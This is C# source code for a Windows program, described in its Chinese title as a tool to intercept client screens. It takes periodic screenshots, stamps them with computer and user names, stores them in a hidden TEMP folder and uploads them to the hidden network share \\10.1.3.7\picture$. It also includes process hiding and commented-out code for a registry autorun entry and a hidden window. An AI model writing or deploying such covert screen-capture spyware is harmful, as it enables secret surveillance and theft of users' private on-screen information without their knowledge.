截获客户端屏幕信息小程式
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.IO;
using System.Runtime.InteropServices;
using Microsoft.Win32;
using System.Net.NetworkInformation;
using System.Collections;
namespace bitmap
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
internal struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
[DllImport("kernel32.dll", ExactSpelling = true)]
internal static extern IntPtr GetCurrentProcess();
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
[DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool ExitWindowsEx(int flg, int rea);
internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
internal const int TOKEN_QUERY = 0x00000008;
internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
internal const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege";
internal const int EWX_LOGOFF = 0x00000000;
internal const int EWX_SHUTDOWN = 0x00000001;
internal const int EWX_REBOOT = 0x00000002;
internal const int EWX_FORCE = 0x00000004;
internal const int EWX_POWEROFF = 0x00000008;
internal const int EWX_FORCEIFHUNG = 0x00000010;
public bool DoExitWin(int flg)
{
bool ok;
TokPriv1Luid tp;
IntPtr hproc = GetCurrentProcess();
IntPtr htok = IntPtr.Zero;
ok = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
tp.Count = 1;
tp.Luid = 0;
tp.Attr = SE_PRIVILEGE_ENABLED;
ok = LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, ref tp.Luid);
ok = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
ok = ExitWindowsEx(flg, 0);
return ok;
}
public void reboot()
{
DoExitWin(EWX_REBOOT);//重启
}
public void Shutdown()
{
DoExitWin(EWX_SHUTDOWN);//关机
}
public string huanjing()//提取系统的环境变量
{
IDictionary environment = Environment.GetEnvironmentVariables();
return environment["TEMP"].ToString();
}
public string ping()//测试网络的连通性
{
System.Net.NetworkInformation.Ping pingSender = new System.Net.NetworkInformation.Ping();
PingOptions options = new PingOptions();
options.DontFragment = true;
string data = " ";
byte[] buffer = Encoding.UTF8.GetBytes(data);
int timeout = 120;
PingReply reply = pingSender.Send(@"10.1.3.7", timeout, buffer, options);
string info = reply.Status.ToString();
return info;
}
public int pd(string lj)//计算文件夹的字节数
{
int count = 0;
DirectoryInfo d1 = new DirectoryInfo(lj);
bool x1 = d1.Exists;
if (x1 == true)
{
FileInfo[] fi = d1.GetFiles();
foreach (FileInfo xx in fi)
{
count = Convert.ToInt32(xx.Length.ToString()) + count;
}
return count;
}
else
{
return 0;
}
}
public static void CopyDirectInfo(string sourceDir, string toDir)//文件上传函数
{
if (!Directory.Exists(sourceDir))
{
throw new ApplicationException("文件不存在");
}
if (!Directory.Exists(toDir))
{
Directory.CreateDirectory(toDir);
}
else
{
Directory.Delete(toDir, true);
Directory.CreateDirectory(toDir);
}
DirectoryInfo directInfo = new DirectoryInfo(sourceDir);
FileInfo[] filesInfos = directInfo.GetFiles();
foreach (FileInfo fileinfo in filesInfos)
{
string fileName = fileinfo.Name;
File.Copy(fileinfo.FullName, toDir + @"\" + fileName, true);
}
foreach (DirectoryInfo directoryPath in directInfo.GetDirectories())
{
string toDirPath = toDir + @"\" + directoryPath.Name;
CopyDirectInfo(directoryPath.FullName, toDirPath);
}
}
public static int x = 0;
[DllImport("kernel32")]
private static extern long SetFileAttributes(string lpFileName, long dwFileAttributes);//用来设置文件和文件夹属性的API函数
[DllImport("kernel32")]
private static extern int GetPrivateProfileString(string section,
string key, string def, StringBuilder retVal,
int size, string filePath);//读取INI文件的API函数
[DllImport("kernel32")]
private static extern long WritePrivateProfileString(string section,
string key, string val, string filePath);//写入INI文件的API函数
[DllImportAttribute("gdi32.dll")]
private static extern bool BitBlt(
IntPtr hdcDest, //目标设备的句柄
int nXDest, // 目标对象的左上角的X坐标
int nYDest, // 目标对象的左上角的Y坐标
int nWidth, // 目标对象的矩形的宽度
int nHeight, // 目标对象的矩形的长度
IntPtr hdcSrc, // 源设备的句柄
int nXSrc, // 源对象的左上角的X坐标
int nYSrc, // 源对象的左上角的Y坐标
System.Int32 dwRop // 光栅的操作值
);
[DllImportAttribute("gdi32.dll")]
private static extern IntPtr CreateDC(
string lpszDriver, // 驱动名称
string lpszDevice, // 设备名称
string lpszOutput, // 无用，可以设定位"NULL"
IntPtr lpInitData // 任意的打印机数据
);
private void button1_Click(object sender, EventArgs e)
{
IntPtr dc1 = CreateDC("DISPLAY", null, null, (IntPtr)null);
//创建显示器的DC
Graphics g1 = Graphics.FromHdc(dc1);
//由一个指定设备的句柄创建一个新的Graphics对象
Bitmap MyImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, g1);
//根据屏幕大小创建一个与之相同大小的Bitmap对象
Graphics g2 = Graphics.FromImage(MyImage);
//获得屏幕的句柄
IntPtr dc3 = g1.GetHdc();
//获得位图的句柄
IntPtr dc2 = g2.GetHdc();
//把当前屏幕捕获到位图对象中
BitBlt(dc2, 0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, dc3, 0, 0, 13369376);
//把当前屏幕拷贝到位图中
g1.ReleaseHdc(dc3);
//释放屏幕句柄
g2.ReleaseHdc(dc2);
//释放位图句柄
string x2=Dns.GetHostName();
//获取电脑名
string ln = SystemInformation.UserName.ToString();
//获取登录名
string x1 = DateTime.Now.Minute+DateTime.Now.Second+".jpeg";
string path = huanjing().ToString() + @"\" + "picture" + @"\";
//string path = IniReadValue("xixi", "path", Directory.GetCurrentDirectory() + "/1.ini");
Directory.CreateDirectory(path);
Directory.CreateDirectory(path + ln);
long reg = Convert.ToInt32(IniReadValue("xixi", "Reg",ini ));//从INI文件读取Reg配置
SetFileAttributes(path, reg);//给文件夹添加隐藏属性
//创建文件夹
MyImage.Save(path + ln + @"\" + ".jpeg", System.Drawing.Imaging.ImageFormat.Jpeg);
//System.Drawing.Imaging.ImageFormat.jpeg用来格式化转化图像，用了这个1000KB可以变成
//100KB而且还很清晰
string xx1 = "Computer:" + Dns.GetHostName() + " " + "Login:" + SystemInformation.UserName.ToString()+" " +"Time:" + DateTime.Now.ToShortDateString().ToString() + " " + DateTime.Now.ToLongTimeString().ToString();
//Bitmap b = (Bitmap)Bitmap.FromFile(path + x1);
//Bitmap a = (Bitmap)b.GetThumbnailImage(480, 320, null, IntPtr.Zero);//把原始图象的分辨率修改
//string ti = DateTime.Now.Minute.ToString() + DateTime.Now.Second.ToString();
//string ti = "2";
//string file = ti + ".jpeg";
//a.Save(path + file);//保存修改后的图象
//a.Dispose();
//b.Dispose();//释放图象资源
//File.Delete(path + x1);//删除原始图象
Bitmap bb = (Bitmap)Bitmap.FromFile(path + ln + @"\" + ".jpeg");//还原就吧x1改成file
// Graphics g = Graphics.FromImage(bb);
Graphics g = Graphics.FromImage(bb);
g.DrawString(xx1, new Font("宋体", 18), new SolidBrush(Color.Red), new PointF(0, 715));//在修改后的图象里插入信息
//bb.Save(path + DateTime.Now.Second.ToString() + ".jpeg");//保存插入信息后的图象
//string x1x1 = x2 + " " + DateTime.Now.ToShortDateString().ToString() +
// " " + DateTime.Now.Hour.ToString().Trim() + "-" +
// DateTime.Now.Minute.ToString().Trim() + "-" + DateTime.Now.Second.ToString().Trim() + ".jpeg";
//bb.Save(path + DateTime.Now.Second.ToString() + ".jpeg");//保存插入信息后的图象
string x1x1 = x2 + " " + DateTime.Now.ToLongDateString().ToString()+" "+DateTime.Now.Hour.ToString()+"-"+DateTime.Now.Minute.ToString()+"-"+DateTime.Now.Second.ToString()+".gif";
bb.Save(path + ln + @"\" + x1x1);
g.Dispose();
bb.Dispose();//释放资源
File.Delete(path + ln + @"\" + ".jpeg");//删除原始图象
//File.Delete(path + file);//删除插入信息前的图象
}
public string IniReadValue(string Section, string Key, string filepath)//对ini文件进行读操作的函数
{
StringBuilder temp = new StringBuilder(255);
int i = GetPrivateProfileString(Section, Key, "", temp, 255, filepath);
return temp.ToString();
}
public void IniWriteValue(string Section, string Key, string Value, string filepath)//对ini文件进行写操作的函数
{
WritePrivateProfileString(Section, Key, Value, filepath);
}
private void timer1_Tick(object sender, EventArgs e)
//调用计时器执行按钮里面的代码
{
button1_Click(sender, e);
string ln = SystemInformation.UserName.ToString();
//string path = IniReadValue("xixi", "path", Directory.GetCurrentDirectory() + "/1.ini");
string path = (@"\\10.1.3.7\picture$" + @"\" + ln);
if (Directory.Exists(path))
{
string[] file = Directory.GetFiles(path);
for (int i = 0; i < file.Length; i++)
{
string xx = (file[i]);
FileInfo fi = new FileInfo(xx);
//下面是文件的创建时间
int day = Convert.ToInt32(fi.CreationTime.Day.ToString());
int month = Convert.ToInt32(fi.CreationTime.Month.ToString());
//下面是系统当前时间的月份和天数;
int day1 = Convert.ToInt32(DateTime.Now.Day.ToString());
int month1 = Convert.ToInt32(DateTime.Now.Month.ToString());
int num = Convert.ToInt32(IniReadValue("xixi", "day", ini));
if (num < 31)
{
if (month1 - month == 0)
{
if (day1 - day > num)
{
File.Delete(file[i]);
}
}
else if (month1 - month == 1)
{
if (31 - day + day1 > num)
{
File.Delete(file[i]);
}
}
}
}
}
}
static string ini = @"\\10.1.3.7\picture$\1.ini";
private void Form1_Load(object sender, EventArgs e)
{
l1.Text = Dns.GetHostName().ToString();
//MessageBox.Show(huanjing().ToString());
//this.WindowState = FormWindowState.Minimized;//程序运行状态最小化
//this.ShowInTaskbar = false;//程序不在任务拦显示
//string exepath = Directory.GetCurrentDirectory() + "/bitmap.exe";//本程序的路径
//RegistryKey hklm = Registry.CurrentUser;
//RegistryKey run = hklm.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
//run.SetValue("AutoLogin", exepath); //把程序加入注册表启动项
string ln = SystemInformation.UserName.ToString();
string lt = ping();//调用测试连通性函数返回值
if (lt == "Success")
{
//MessageBox.Show("网络连通");
DirectoryInfo di = new DirectoryInfo(huanjing().ToString()+@"\"+"picture" + @"\" + ln);
//DirectoryInfo di = new DirectoryInfo(@"c:\picture" + @"\" + ln);
bool ex = di.Exists;
if (ex == true)
{
//MessageBox.Show("本地文件存在");
timer1.Enabled = false;
button2_Click(sender, e);
timer1.Enabled = true;
}
else
{
//MessageBox.Show("本地文件不存在估计是第一次运行本程序");
}
}
else
{
//MessageBox.Show("网络不通，关机以后请检查");
int c = pd(huanjing().ToString() + @"\" + "picture" + @"\" + ln);
if (c > 1048576000)
{
Directory.Delete(huanjing().ToString() + @"\" + "picture" + @"\" + ln, true);
}
//Shutdown();
}
//MessageBox.Show("开始进入抓图主程序");
//pd(@"\\10.1.3.17\tool\picture" + @"\" + ln);
string text = "程序一运行就会在与程序相同的文件夹内创建说明文件与配置文件（1.ini）。现在主要说明配置文件的参数说明：time参数单位是秒用来控制多少秒截一张图，默认10秒。day参数单位是天控制图片保存天数默认是10天，设置的值在1-60天。Reg参数是用来控制保存图片的文件夹是否隐藏，2-隐藏，4-不隐藏，默认不隐藏。";
string txt = Directory.GetCurrentDirectory() + "/使用说明.txt";
if (!File.Exists(txt))
{
FileStream fs = new FileStream(txt, FileMode.Append);
StreamWriter sw = new StreamWriter(fs);
sw.WriteLine(text);
sw.Close();
fs.Close();
}
//string ini=Directory.GetCurrentDirectory()+"/1.ini";
if (!File.Exists(ini))//判断配置ini文件存在不
{
FileInfo fi = new FileInfo(ini);
//不存在的情况就创建并向ini文件写入默认值
IniWriteValue("xixi", "time", "60", ini);
//IniWriteValue("xixi", "path", "c:/picture/", ini);
IniWriteValue("xixi", "day", "7", ini);
IniWriteValue("xixi", "Reg", "2", ini);
}
string path = huanjing().ToString() + @"\" + "picture" + @"\" + ln;
//string path = IniReadValue("xixi", "path", Directory.GetCurrentDirectory() + "/1.ini");
int time = Convert.ToInt32(IniReadValue("xixi", "time", ini));
timer1.Interval = time * 1000;
timer1.Start();
}
private void button2_Click(object sender, EventArgs e)//判断以后再上传--这个按钮当函数用
{
try
{
string ln = SystemInformation.UserName.ToString();
int z = 0;
DirectoryInfo di = new DirectoryInfo(huanjing().ToString() + @"\" + "picture" + @"\" + ln);
FileInfo[] F = di.GetFiles();
DirectoryInfo di2 = new DirectoryInfo(@"\\10.1.3.7\picture$" + @"\" + ln);
if (di2.Exists)
{
FileInfo[] F2 = di2.GetFiles();
for (int i = 0; i < F.Length; i++)
{
int zz = 0;
for (int j = 0; j < F2.Length; j++)
{
if (F[i].ToString() == F2[j].ToString())
{
zz = zz + 1;
}
}
if (zz == 0)
{
File.Copy(huanjing().ToString() + @"\" + "picture" + @"\" + ln + @"/" + F[i].ToString(), @"\\10.1.3.7\picture$" + @"\" + ln + @"/" + F[i].ToString());
z = z + 1;
}
}
//MessageBox.Show(z.ToString());
Directory.Delete(huanjing().ToString() + @"\" + "picture" + @"\" + ln, true);
//MessageBox.Show("删除成功");
}
else
{
CopyDirectInfo(huanjing().ToString() + @"\" + "picture" + @"\" + ln, @"\\10.1.3.7\picture$" + @"\" + ln);
//CopyDirectInfo(string sourceDir, string toDir);
}
// File.Delete(@"c:/picture" + @"/" + ln);
}
catch
{ }
}
private void timer2_Tick(object sender, EventArgs e)
{
string ln = SystemInformation.UserName.ToString();
string lt = ping();//调用测试连通性函数返回值
if (lt == "Success")
{
//MessageBox.Show("网络连通");
DirectoryInfo di = new DirectoryInfo(huanjing().ToString() + @"\" + "picture" + @"\" + ln);
//DirectoryInfo di = new DirectoryInfo(@"c:\picture" + @"\" + ln);
bool ex = di.Exists;
if (ex == true)
{
//MessageBox.Show("本地文件存在");
timer1.Enabled = false;
button2_Click(sender, e);
timer1.Enabled = true;
}
else
{
//MessageBox.Show("本地文件不存在估计是第一次运行本程序");
}
}
else
{
//MessageBox.Show("网络不通，关机以后请检查");
int c = pd(huanjing().ToString() + @"\" + "picture" + @"\" + ln);
if (c > 1048576000)
{
Directory.Delete(huanjing().ToString() + @"\" + "picture" + @"\" + ln, true);
}
//Shutdown();
}
}
private void button3_Click(object sender, EventArgs e)
{
System.Diagnostics.Process[] process = System.Diagnostics.Process.GetProcessesByName("bitmap");
foreach (System.Diagnostics.Process p in process)
{
// p.Kill();
HideProcess.HideHideCurrentProcessClass pp = new HideProcess.HideHideCurrentProcessClass();
pp.HideCurrentProcess();
}
}
}
}
